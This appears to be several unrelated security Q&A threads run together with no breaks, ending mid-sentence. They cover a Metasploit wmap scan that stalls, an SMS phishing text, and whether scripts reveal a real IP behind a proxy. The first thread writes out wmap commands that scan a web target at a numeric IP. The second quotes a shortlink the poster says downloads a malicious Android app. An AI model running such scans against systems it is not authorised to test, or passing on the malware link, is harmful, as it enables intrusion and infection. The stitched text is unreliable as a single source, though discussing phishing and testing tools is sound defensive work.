Steps to reproduce,

msf > mfsconsole
msf > load wmap
msf > wmap_sites -l
msf > wmap_targets -t http://123.12.123.123/index.php
msf > wmap_run -t
msf > wmap_run -e

At this point it runs and then gets stuck here,

  [*] Using code '404' as not found.

I have tried this on MacOS High Sierra & Kali Linux.

Both fail in the exact same place.

What is the cause of this and how do I overcome it?

I had the same issue. My resolution was to reload the modules.

You can do that with the following command:

wmap_modules -r


Unexpected phishing attempt by SMS I just received this text message (screenshot), which claims to be from the national postal service, informing me that I have a package waiting for me.
I have a user account on their website, so them having my cell phone number is not a surprise. But I didn't expect them to use the bit.ly service, and that triggered my first suspicion.

To be safe, I loaded the actual link (http://bit.ly/1TSvBPm) in a VM on my desktop pc. It triggers the download of an Android app (an APK file), and when I look at what that file contains I see credit card logos and other highly suspicious things. This is definitely not a real notification from the actual postal service!

I'm posting here to get the opinion of more experienced users. I'm mostly interested in hearing what I should do now:

I already submitted this to the postal service with the request that they investigate.
What else should I do?
How can I avoid receiving stuff like this on my phone? Obviously somebody else than the postal service has my cell number, and knows it's an Android phone.
I guess I will have to warn other people about this risk. I have pretty gullible relatives.

Thanks in advance for your feedback!

You can't really do much about it yourself , except for reporting it to the police (because it's a scam attempt which is obviously illegal).

Avoiding receiving such messages isn't easy, since the attackers are either using a number database they bought somewhere (with your number in it) or they generate the numbers randomly (spray and pray tactic, hoping someone will bite the bait). They might not even know if you have an Android phone.

Warning relatives and friends is a good idea. Also suggest them blacklisting the number you got the scam message from.


Client side scripts through proxies If you're trying to hide your IP address using VPN/proxies can a website using client side scripting record your real ip? If yes is there any alternative to blocking all scripts as that breaks majority of the websites out there?

As Wilson Wong says, all browser requests should be routed via the proxy depending on how the browser is configured / whether there is any transparent proxying implemented on the default route.

It is possible to determine the IP address by other means